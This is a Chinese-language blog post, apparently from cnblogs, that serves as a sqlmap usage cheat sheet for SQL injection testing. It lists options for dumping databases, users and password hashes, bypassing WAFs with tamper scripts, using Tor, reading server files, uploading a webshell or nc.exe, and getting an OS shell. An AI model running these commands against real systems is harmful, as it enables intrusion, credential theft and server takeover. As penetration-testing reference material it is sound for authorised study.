判断是否存在注入 sqlmap -u url sqlmap基础 判断文本中的请求是否存在注入 查询当前用户下的所有数据库 --dbs(获取所有数据库信息) 获取数据库中的表名 -D 数据库 --tables 获取表中的字段名 -D 数据库 -T 表单 --columns 获取字段内容 -D 数据库 -T 表单 -C 字段名 --dump 获取数据库中的所有用户 --users 获取数据库用户的密码 --passwords 获取当前网站的数据库的名称 --current-db 获取当前网站数据库的用户名称 --current-user sqlmap探测等级 --level 1-5(五个等级) post注入 sqlmap -r 文件 参数 sqlmap -u url -data "bp抓包的post参数“ 参数 cookie注入 sqlmap -u url --cookie "cookie参数" --risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。 level:共有五个等级,默认为1,在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。 --tamper:sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。 --dbms:默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2 --is-dba:判断当前的用户是否为管理 -s””:保存注入过程 获取DBMS详细版本: --banner 获取服务器主机名: --hostname 获取全部数据: --all(通常不建议,会产生大量请求获取有用和无用的数据) 列出DBMS所有用户权限: --privileges 匿名注入: --tor 指定脚本进行绕过: --tamper=<脚本名>或 --tamper="脚本1,脚本2,..." 直连数据库: -d 指定输出详细程度: -v (0~6,3为最佳选择,可以知道payload) 指定sql注入技术: --technique (b、e、u、s、t、q分别代表:布尔盲注、报错注入、联合查询注入、堆叠注入、时间型盲注、内联查询注入) 设置时间盲注延迟相应秒数:--time-sec (默认为5) 指纹识别:--fingerprint或-f(获取更精准的识别结果使用-b即--banner) 读取服务器文件系统的文件:--file-read <服务器文件路径> 想服务器上传文件:--file-write或--file-dest<本地文件路径>(可以是文本文件或二进制文件,例如上传一个一句话木马或nc.exe)--file-write="shell.php" --file-dest="/tmp/shell.php 接管操作系统:--os-cmd和--os-shell(可以在服务器上运行命令) 尝试识别后端waf/ips(如果有):--identify-waf 使用http参数污染:--hpp(一种绕过waf/ips防护的方法) 跳过检测waf/ips:--skip-waf 伪装成移动设备:--mobile 启动交互式的sqlmap shell:--shell 使用短助记符:-z 后跟以双引号包围的以逗号分隔的每个选项和开关的短助记符的形式,从而可以避免写一长串的选项和开关 –batch 自动答复和判断
标签:Sqlmap,sqlmap,--,waf,数据库,用法,获取,简单,注入 From: https://www.cnblogs.com/yhchen-blogs/p/17051026.html